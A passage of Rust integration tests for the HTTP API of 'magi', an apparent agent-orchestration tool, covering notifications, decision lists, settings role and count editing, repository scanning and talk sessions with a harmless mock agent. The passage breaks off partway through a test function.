14425        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14426        assert_eq!(res.status, 200, "{}", res.body);
14427        assert_eq!(res.json()["answer"]["text"], "--json");
14428    }
14429
14430    #[tokio::test]
14431    async fn an_unknown_question_is_a_json_404() {
14432        let fx = Fixture::start().await;
14433        let res = fx
14434            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14435            .await;
14436        assert_eq!(res.status, 404, "{}", res.body);
14437        assert!(res.json()["error"].is_string());
14438    }
14439
14440    #[tokio::test]
14441    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14442        let fx = Fixture::start().await;
14443        let questions = Questions::at(fx.home.path().join("questions"));
14444        let store = Notices::at(fx.home.path().join("notifications"));
14445        let mut q = ask::Question::new(
14446            "t1".into(),
14447            "conduct".into(),
14448            "conductor".into(),
14449            "Continue?".into(),
14450            String::new(),
14451            Vec::new(),
14452        );
14453        questions.put(&mut q).unwrap();
14454        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14455        n.covered_by = Some(q.id.clone());
14456        let n = store.raise(n).unwrap();
14457        let listed = fx.get("/api/notifications").await.json();
14458        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14459        questions
14460            .update(&q.id, |q| {
14461                q.abandon("run gone");
14462                Ok(())
14463            })
14464            .unwrap();
14465        let listed = fx.get("/api/notifications").await.json();
14466        assert!(listed["items"][0]["answerable_question"].is_null());
14467        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14468        assert!(
14469            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14470                .unwrap()
14471                .contains("answerable_question")
14472        );
14473    }
14474
14475    #[tokio::test]
14476    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14477        let fx = Fixture::start().await;
14478        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14479        let task = crate::queue::Task::new(
14480            "work".into(),
14481            "work".into(),
14482            fx.home.path().into(),
14483            crate::queue::Source::Human,
14484        );
14485        let inquiry = outbox
14486            .file(&task, None, "test".into(), "入力待ち", "詳細")
14487            .unwrap();
14488        let root = fx.home.path().join("notifications/task-inquiries");
14489        std::fs::write(root.join("broken.json"), "{").unwrap();
14490        let mut unsupported = inquiry.clone();
14491        unsupported.id = "unsupported".into();
14492        unsupported.schema = 99;
14493        std::fs::write(
14494            root.join("unsupported.json"),
14495            serde_json::to_vec(&unsupported).unwrap(),
14496        )
14497        .unwrap();
14498        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14499        for _ in 0..2 {
14500            let response = fx.get("/api/decisions").await;
14501            assert_eq!(response.status, 200, "{}", response.body);
14502            let listed = response.json();
14503            assert_eq!(listed["unreadable"], 2);
14504            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14505            assert_eq!(listed["items"][0]["id"], inquiry.id);
14506            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14507        }
14508        assert_eq!(
14509            before,
14510            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14511        );
14512        assert!(outbox.list().is_err());
14513        std::fs::remove_file(root.join("broken.json")).unwrap();
14514        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14515        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14516    }
14517
14518    #[tokio::test]
14519    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14520        let fx = Fixture::start().await;
14521        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14522        std::fs::create_dir_all(&root).unwrap();
14523        let journal = serde_json::json!({
14524            "schema": 1, "pending": ["saved-inquiry"],
14525            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14526        });
14527        let bytes = serde_json::to_vec(&journal).unwrap();
14528        std::fs::write(root.join("state.json"), &bytes).unwrap();
14529        for _ in 0..2 {
14530            let response = fx.get("/api/decisions").await;
14531            assert_eq!(response.status, 200);
14532            let listed = response.json();
14533            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14534            assert!(listed["items"].as_array().unwrap().is_empty());
14535            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14536        }
14537        // An unreadable journal must not make the endpoint hide the list.
14538        std::fs::write(root.join("state.json"), b"{").unwrap();
14539        let response = fx.get("/api/decisions").await;
14540        assert_eq!(response.status, 200);
14541        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14542    }
14543
14544    #[tokio::test]
14545    async fn notifications_list_read_dismiss_and_health_agree() {
14546        let fx = Fixture::start().await;
14547        let store = Notices::at(fx.home.path().join("notifications"));
14548        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14549        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14550
14551        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14552        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14553
14554        store
14555            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14556            .unwrap();
14557        let health = fx.get("/api/health").await.json();
14558        assert_eq!(health["notifications_unread"], 2);
14559        assert_ne!(
14560            health["notifications_rev"], rev0,
14561            "the badge must move live"
14562        );
14563
14564        let listed = fx.get("/api/notifications").await.json();
14565        assert_eq!(listed["unread"], 2);
14566        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14567        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14568
14569        let read = fx
14570            .post(&format!("/api/notifications/{}/read", a.id), None)
14571            .await;
14572        assert_eq!(read.status, 200, "{}", read.body);
14573        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14574
14575        let gone = fx
14576            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14577            .await;
14578        assert_eq!(gone.status, 200, "{}", gone.body);
14579        let listed = fx.get("/api/notifications").await.json();
14580        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14581        assert_eq!(listed["unread"], 0);
14582
14583        store.raise(Notice::info("x", "again")).unwrap();
14584        let all = fx.post("/api/notifications/read-all", None).await;
14585        assert_eq!(all.status, 200, "{}", all.body);
14586        assert_eq!(all.json()["marked"], 1);
14587        assert_eq!(
14588            fx.get("/api/health").await.json()["notifications_unread"],
14589            0
14590        );
14591
14592        let missing = fx.post("/api/notifications/nope/read", None).await;
14593        assert_eq!(missing.status, 404, "{}", missing.body);
14594        assert!(missing.json()["error"].is_string());
14595    }
14596
14597    /// New work reaches the queue through `magi task add`, a standing talk's
14598    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14599    /// so the compose form and that route are gone. The tests that covered
14600    /// that route's validation went with it, and nothing was left asserting
14601    /// it stays gone — so a re-added handler would silently let the phone
14602    /// file briefs no one validated.
14603    #[tokio::test]
14604    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14605        let f = Fixture::start().await;
14606
14607        let res = f
14608            .post(
14609                "/api/queue",
14610                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14611            )
14612            .await;
14613
14614        assert_eq!(
14615            res.status, 405,
14616            "POST /api/queue must not be a route: {}",
14617            res.body
14618        );
14619        assert!(
14620            f.queue().list().is_empty(),
14621            "a task filed by a route that does not exist must not reach the disk"
14622        );
14623        // The path itself is still served — the Queue view reads it — and the
14624        // per-task controls are untouched by the entry being removed.
14625        assert_eq!(f.get("/api/queue").await.status, 200);
14626    }
14627
14628    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14629    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14630        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14631            .expect("checkout dir");
14632    }
14633
14634    /// Two command agents, so a config needs no real CLI.
14635    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14636
14637    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14638        let tmp = TempDir::new().expect("tempdir");
14639        let repo = tmp.path().join("repo");
14640        std::fs::create_dir_all(&repo).expect("repo dir");
14641        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14642        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14643        if let Some(text) = machine_toml {
14644            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14645            std::fs::write(&machine, text).expect("machine toml");
14646        }
14647        (tmp, repo, machine)
14648    }
14649
14650    async fn settings_checkout(path: &FsPath, text: &str) {
14651        std::fs::create_dir_all(path).unwrap();
14652        std::fs::write(path.join("magi.toml"), text).unwrap();
14653        for args in [
14654            vec!["init", "-b", "main"],
14655            vec!["add", "magi.toml"],
14656            vec![
14657                "-c",
14658                "user.name=Test",
14659                "-c",
14660                "user.email=test@example.invalid",
14661                "commit",
14662                "-m",
14663                "fixture",
14664            ],
14665            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14666            vec![
14667                "symbolic-ref",
14668                "refs/remotes/origin/HEAD",
14669                "refs/remotes/origin/main",
14670            ],
14671        ] {
14672            crate::git::git(path, &args).await.unwrap();
14673        }
14674    }
14675
14676    #[tokio::test]
14677    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14678        let (tmp, repo, machine) =
14679            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14680        let root = tmp.path().join("roots");
14681        let selected = root.join("host/owner/selected");
14682        settings_checkout(
14683            &selected,
14684            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14685        )
14686        .await;
14687        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14688        let before = std::fs::read(&machine).unwrap();
14689        let ui = Arc::new(
14690            Ui::new(
14691                Queue::at(tmp.path().join("queue")),
14692                Questions::at(tmp.path().join("questions")),
14693                Talks::at(tmp.path().join("talks")),
14694                tmp.path().join("runs"),
14695                tmp.path().to_path_buf(),
14696                repo.clone(),
14697            )
14698            .with_machine_config(Some(machine.clone())),
14699        );
14700        let query = || {
14701            Query(SettingsQuery {
14702                repo: Some(selected.clone()),
14703            })
14704        };
14705        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14706        assert!(v.error.is_none(), "{:?}", v.error);
14707        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14708        assert_eq!(conductor.source, "repo");
14709        assert_eq!(
14710            conductor.machine_value,
14711            Some(toml::Value::String("a".into()))
14712        );
14713        assert!(!conductor.editable);
14714        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14715        assert_eq!(
14716            judges.count.as_ref().unwrap().machine_value,
14717            Some(toml::Value::Integer(1))
14718        );
14719        assert!(
14720            !v.roles
14721                .iter()
14722                .find(|r| r.key == "reviewers")
14723                .unwrap()
14724                .editable
14725        );
14726        let unknown = || {
14727            Query(SettingsQuery {
14728                repo: Some(tmp.path().to_path_buf()),
14729            })
14730        };
14731        assert_eq!(
14732            settings_get(State(ui.clone()), unknown())
14733                .await
14734                .unwrap_err()
14735                .status,
14736            StatusCode::UNPROCESSABLE_ENTITY
14737        );
14738        let body = || {
14739            Ok(Json(RolesBody {
14740                revision: v.revision.clone(),
14741                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14742                counts: Default::default(),
14743            }))
14744        };
14745        assert_eq!(
14746            settings_put_roles(State(ui.clone()), unknown(), body())
14747                .await
14748                .unwrap_err()
14749                .status,
14750            StatusCode::UNPROCESSABLE_ENTITY
14751        );
14752        assert_eq!(std::fs::read(&machine).unwrap(), before);
14753        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14754            .await
14755            .unwrap();
14756        assert_eq!(
14757            saved.repo,
14758            selected.canonicalize().unwrap().display().to_string()
14759        );
14760        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14761        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14762        // A cache miss refreshes the stable candidate list exactly for validation.
14763        let fresh = root.join("host/owner/fresh");
14764        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14765        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14766            .await
14767            .unwrap();
14768        assert_eq!(fresh_view.repositories.len(), 3);
14769    }
14770
14771    #[tokio::test]
14772    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14773        let (tmp, repo, machine) = settings_dirs(
14774            "[roles]\nreviewers = [\"a\"]\n",
14775            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14776        );
14777        let root = tmp.path().join("roots");
14778        let selected = root.join("host/owner/selected");
14779        settings_checkout(
14780            &selected,
14781            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14782        )
14783        .await;
14784        let broken = root.join("host/owner/broken");
14785        settings_checkout(&broken, "[roles\nbroken").await;
14786        let machine_text = format!(
14787            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14788            toml::Value::String(root.display().to_string())
14789        );
14790        std::fs::write(&machine, &machine_text).unwrap();
14791        let originals: Vec<_> = [&repo, &selected, &broken]
14792            .iter()
14793            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14794            .collect();
14795        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14796        let default = f.get("/api/settings").await.json();
14797        assert_eq!(
14798            default["repo"],
14799            repo.canonicalize().unwrap().display().to_string()
14800        );
14801        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14802        let query = format!("?repo={}", selected.display());
14803        let res = f.get(&format!("/api/settings{query}")).await;
14804        assert_eq!(res.status, 200, "{}", res.body);
14805        let v = res.json();
14806        assert!(v["error"].is_null(), "{v}");
14807        assert_eq!(v["repositories"], default["repositories"]);
14808        let role = |key: &str| {
14809            v["roles"]
14810                .as_array()
14811                .unwrap()
14812                .iter()
14813                .find(|r| r["key"] == key)
14814                .unwrap()
14815        };
14816        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14817        assert_eq!(role("advisors")["source"], "repo");
14818        assert_eq!(role("advisors")["editable"], false);
14819        assert!(role("advisors")["machine_value"].is_null());
14820        assert_eq!(role("judges")["count"]["value"], 2);
14821        assert_eq!(role("judges")["count"]["machine_value"], 1);
14822        assert_eq!(role("judges")["count"]["source"], "repo");
14823        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14824        assert!(
14825            source.contains("origin/main") && !source.contains("magi/config/"),
14826            "{source}"
14827        );
14828        assert_eq!(
14829            role("reviewers")["editable"],
14830            false,
14831            "default context outside roots must protect its declarations"
14832        );
14833        let body =
14834            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14835        let unknown = format!("?repo={}", tmp.path().display());
14836        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14837        assert_eq!(
14838            f.put(&format!("/api/settings/roles{unknown}"), &body)
14839                .await
14840                .status,
14841            422
14842        );
14843        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14844        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14845            .to_string();
14846        assert_eq!(
14847            f.put(&format!("/api/settings/roles{query}"), &refuse)
14848                .await
14849                .status,
14850            422
14851        );
14852        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14853        assert_eq!(saved.status, 200, "{}", saved.body);
14854        assert_eq!(saved.json()["repo"], v["repo"]);
14855        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14856        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14857        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14858            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14859        }
14860        let error = f
14861            .get(&format!("/api/settings?repo={}", broken.display()))
14862            .await;
14863        assert_eq!(error.status, 200);
14864        assert!(error.json()["error"]["message"].is_string());
14865        assert_eq!(error.json()["repositories"], default["repositories"]);
14866    }
14867
14868    #[tokio::test]
14869    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14870        let (_tmp, repo, machine) =
14871            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14872        let f = Fixture::with_repo_and_machine(repo, machine).await;
14873        let res = f.get("/api/settings").await;
14874        assert_eq!(res.status, 200, "{}", res.body);
14875        let v = res.json();
14876        assert!(v["error"].is_null(), "{v}");
14877        let role = |k: &str| {
14878            v["roles"]
14879                .as_array()
14880                .and_then(|r| r.iter().find(|x| x["key"] == k))
14881                .cloned()
14882                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14883        };
14884        assert_eq!(role("judges")["source"], "machine");
14885        assert_eq!(role("judges")["editable"], true);
14886        assert_eq!(role("implementers")["source"], "default");
14887        let adv = role("advisors");
14888        assert_eq!(adv["fallback"], "judges");
14889        assert!(
14890            adv["seats"]
14891                .as_array()
14892                .is_some_and(|s| s.iter().all(|x| x == "b")),
14893            "{adv}"
14894        );
14895        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14896        assert_eq!(v["agents"][0]["source"], "repo");
14897    }
14898
14899    #[tokio::test]
14900    async fn settings_get_reports_a_config_that_does_not_parse() {
14901        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14902        let f = Fixture::with_repo_and_machine(repo, machine).await;
14903        let res = f.get("/api/settings").await;
14904        assert_eq!(res.status, 200, "{}", res.body);
14905        let v = res.json();
14906        assert!(v["error"]["message"].is_string(), "{v}");
14907        assert!(
14908            v["error"]["path"]
14909                .as_str()
14910                .is_some_and(|p| p.ends_with("magi.toml")),
14911            "{v}"
14912        );
14913        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14914    }
14915
14916    #[tokio::test]
14917    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14918        let (_tmp, repo, machine) = settings_dirs(
14919            SETTINGS_AGENTS,
14920            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14921        );
14922        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14923        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14924        let rev = f.get("/api/settings").await.json()["revision"]
14925            .as_str()
14926            .expect("revision")
14927            .to_owned();
14928        let body = serde_json::json!({
14929            "revision": rev,
14930            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14931        })
14932        .to_string();
14933        let res = f.put("/api/settings/roles", &body).await;
14934        assert_eq!(res.status, 200, "{}", res.body);
14935        let text = std::fs::read_to_string(&machine).expect("machine");
14936        assert_eq!(
14937            text,
14938            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14939        );
14940        assert_eq!(
14941            std::fs::read(repo.join("magi.toml")).expect("read"),
14942            repo_before
14943        );
14944        let again = f.get("/api/settings").await.json();
14945        let judges = again["roles"]
14946            .as_array()
14947            .expect("roles")
14948            .iter()
14949            .find(|r| r["key"] == "judges")
14950            .expect("judges")
14951            .clone();
14952        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14953        // The old revision is now stale.
14954        let stale = f.put("/api/settings/roles", &body).await;
14955        assert_eq!(stale.status, 409, "{}", stale.body);
14956    }
14957
14958    #[tokio::test]
14959    async fn settings_counts_are_reported_and_saved() {
14960        let (_tmp, repo, machine) = settings_dirs(
14961            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14962            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14963        );
14964        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14965        let v = f.get("/api/settings").await.json();
14966        let count = |v: &serde_json::Value, k: &str| {
14967            v["roles"]
14968                .as_array()
14969                .and_then(|r| r.iter().find(|x| x["key"] == k))
14970                .map(|x| x["count"].clone())
14971                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14972        };
14973        let imp = count(&v, "implementers");
14974        assert_eq!(imp["value"], 2);
14975        assert_eq!(imp["source"], "machine");
14976        assert_eq!(imp["file_key"], "candidates");
14977        assert_eq!(imp["roster_len"], 2);
14978        assert_eq!(imp["backups"], 0);
14979        assert_eq!(count(&v, "judges")["source"], "default");
14980        assert_eq!(count(&v, "advisors")["min"], 0);
14981        assert_eq!(count(&v, "reviewers")["editable"], false);
14982        assert!(
14983            count(&v, "reviewers")["locked_reason"]
14984                .as_str()
14985                .is_some_and(|m| m.contains("graph.reviewers"))
14986        );
14987        assert!(count(&v, "fixer").is_null());
14988        let rev = v["revision"].as_str().expect("revision").to_owned();
14989        let body = serde_json::json!({
14990            "revision": rev,
14991            "roles": { "judges": ["b"] },
14992            "counts": { "implementers": 1, "advisors": 0 }
14993        })
14994        .to_string();
14995        let res = f.put("/api/settings/roles", &body).await;
14996        assert_eq!(res.status, 200, "{}", res.body);
14997        let text = std::fs::read_to_string(&machine).expect("machine");
14998        assert_eq!(
14999            text,
15000            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15001        );
15002        let after = f.get("/api/settings").await.json();
15003        assert_eq!(count(&after, "implementers")["value"], 1);
15004        assert_eq!(count(&after, "implementers")["backups"], 1);
15005        assert_eq!(count(&after, "advisors")["value"], 0);
15006        let before = std::fs::read_to_string(&machine).expect("machine");
15007        let rev = after["revision"].as_str().expect("revision").to_owned();
15008        for counts in [
15009            serde_json::json!({ "judges": 0 }),
15010            serde_json::json!({ "judges": "x" }),
15011            serde_json::json!({ "judges": 2.5 }),
15012            serde_json::json!({ "judges": -1 }),
15013            serde_json::json!({ "reviewers": 3 }),
15014            serde_json::json!({ "bogus": 3 }),
15015        ] {
15016            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15017            let res = f.put("/api/settings/roles", &body).await;
15018            assert_eq!(res.status, 422, "{counts}: {}", res.body);
15019            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15020        }
15021    }
15022
15023    #[tokio::test]
15024    async fn settings_put_refuses_without_touching_the_file() {
15025        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15026        let (_tmp, repo, machine) = settings_dirs(
15027            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15028            Some(machine_text),
15029        );
15030        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15031        let rev = f.get("/api/settings").await.json()["revision"]
15032            .as_str()
15033            .expect("revision")
15034            .to_owned();
15035        for roles in [
15036            serde_json::json!({ "judges": ["nope"] }),
15037            serde_json::json!({ "reviewers": ["b"] }),
15038            serde_json::json!({ "bogus": ["a"] }),
15039        ] {
15040            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15041            let res = f.put("/api/settings/roles", &body).await;
15042            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15043            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15044            assert_eq!(
15045                std::fs::read_to_string(&machine).expect("machine"),
15046                machine_text
15047            );
15048        }
15049    }
15050
15051    #[tokio::test]
15052    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15053        let tmp = TempDir::new().expect("tempdir");
15054        let repo = tmp.path().join("repo");
15055        std::fs::create_dir_all(&repo).expect("repo dir");
15056        let root = tmp.path().join("root");
15057        make_checkout(&root, "github.com", "yukimemi", "magi");
15058        std::fs::write(
15059            repo.join("magi.toml"),
15060            format!(
15061                "[repos]\nroots = [{:?}]\n",
15062                root.to_string_lossy().into_owned()
15063            ),
15064        )
15065        .expect("write magi.toml");
15066
15067        let f = Fixture::with_repo(repo).await;
15068        let res = f.get("/api/repos").await;
15069        assert_eq!(res.status, 200, "{}", res.body);
15070        let list = res.json();
15071        let repos = list.as_array().expect("an array");
15072        assert_eq!(repos.len(), 1);
15073        assert_eq!(repos[0]["name"], "yukimemi/magi");
15074        assert!(
15075            repos[0]["path"]
15076                .as_str()
15077                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15078            "{list}"
15079        );
15080    }
15081
15082    #[tokio::test]
15083    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15084        let tmp = TempDir::new().expect("tempdir");
15085        let repo = tmp.path().join("repo");
15086        std::fs::create_dir_all(&repo).expect("repo dir");
15087        let root = tmp.path().join("root");
15088        make_checkout(&root, "github.com", "yukimemi", "magi");
15089        std::fs::write(
15090            repo.join("magi.toml"),
15091            format!(
15092                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15093                root.to_string_lossy().into_owned()
15094            ),
15095        )
15096        .expect("write magi.toml");
15097
15098        let f = Fixture::with_repo(repo).await;
15099        let first = f.get("/api/repos").await;
15100        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15101
15102        // A second checkout appears; within the TTL the cached answer must
15103        // not notice it.
15104        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15105        let second = f.get("/api/repos").await;
15106        assert_eq!(
15107            second.json().as_array().map(Vec::len),
15108            Some(1),
15109            "a fresh cache must not rescan inside the TTL"
15110        );
15111
15112        let refreshed = f.get("/api/repos?refresh=1").await;
15113        assert_eq!(
15114            refreshed.json().as_array().map(Vec::len),
15115            Some(2),
15116            "an explicit refresh must rescan even inside the TTL"
15117        );
15118    }
15119
15120    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15121    /// string, declared straight in a repository's own `magi.toml` rather
15122    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15123    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15124    /// this is safe to run over a real HTTP round trip.
15125    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15126
15127    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15128    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15129    /// even though it takes no turn, and `talk_say` invokes one.
15130    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15131        let tmp = TempDir::new().expect("tempdir");
15132        let repo = tmp.path().join("repo");
15133        std::fs::create_dir_all(&repo).expect("repo dir");
15134        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15135        let f = Fixture::with_repo(repo.clone()).await;
15136        (tmp, repo, f)
15137    }
15138
15139    #[tokio::test]
15140    async fn posting_a_talk_with_remembered_choices_is_soft() {
15141        let (_tmp, _repo, f) = talk_fixture().await;
15142
15143        let good = f
15144            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15145            .await;
15146        assert_eq!(good.status, 201, "{}", good.body);
15147        assert_eq!(good.json()["persona"], "rei");
15148
15149        // Wrong values and wrong types are dropped one by one, never a 4xx.
15150        let stale = f
15151            .post(
15152                "/api/talks",
15153                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15154            )
15155            .await;
15156        assert_eq!(stale.status, 201, "{}", stale.body);
15157        let v = stale.json();
15158        assert_eq!(v["implementers"], 1);
15159        assert_ne!(v["persona"], "nobody");
15160        let typed = f
15161            .post(
15162                "/api/talks",
15163                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15164            )
15165            .await;
15166        assert_eq!(typed.status, 201, "{}", typed.body);
15167
15168        // The strict `agent` field still refuses an unknown id.
15169        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15170        assert!(
15171            !strict.status.to_string().starts_with('2'),
15172            "{}",
15173            strict.body
15174        );
15175    }
15176
15177    #[tokio::test]
15178    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15179        let (_tmp, _repo, f) = talk_fixture().await;
15180
15181        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15182        // is the ordinary way a phone opens a talk.
15183        let opened = f.post("/api/talks", None).await;
15184        assert_eq!(opened.status, 201, "{}", opened.body);
15185        let body = opened.json();
15186        assert_eq!(body["status"], "open");
15187        assert_eq!(
15188            body["turns"].as_array().unwrap().len(),
15189            0,
15190            "opening takes no agent turn: there is nothing yet to answer"
15191        );
15192
15193        // An explicit empty object is the same request as none at all.
15194        let also_opened = f.post("/api/talks", Some("{}")).await;
15195        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15196
15197        let listed = f.get("/api/talks").await.json();
15198        assert_eq!(listed.as_array().unwrap().len(), 2);
15199    }
15200
15201    #[tokio::test]
15202    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15203        let tmp = TempDir::new().expect("tempdir");
15204        let repo = tmp.path().join("repo");
15205        std::fs::create_dir_all(&repo).expect("repo dir");
15206        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15207        std::fs::write(
15208            repo.join("magi.toml"),
15209            format!("{MOCK_AGENT_TOML}\n{second}"),
15210        )
15211        .expect("write magi.toml");
15212        let home = TempDir::new().expect("temp home");
15213        let talks = Talks::at(home.path().join("talks"));
15214        let ui = Arc::new(
15215            Ui::new(
15216                Queue::at(home.path().join("queue")),
15217                Questions::at(home.path().join("questions")),
15218                talks.clone(),
15219                home.path().join("runs"),
15220                home.path().to_path_buf(),
15221                repo.clone(),
15222            )
15223            .with_worktrees_root(home.path().join("wt")),
15224        );
15225        let cfg = config_for(&repo).await.expect("discover config");
15226        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15227        let id = talk.id.clone();
15228        let call = |agent: &str| {
15229            talk_agent(
15230                State(Arc::clone(&ui)),
15231                Path(id.clone()),
15232                Json(TalkAgent {
15233                    agent: agent.to_owned(),
15234                }),
15235            )
15236        };
15237
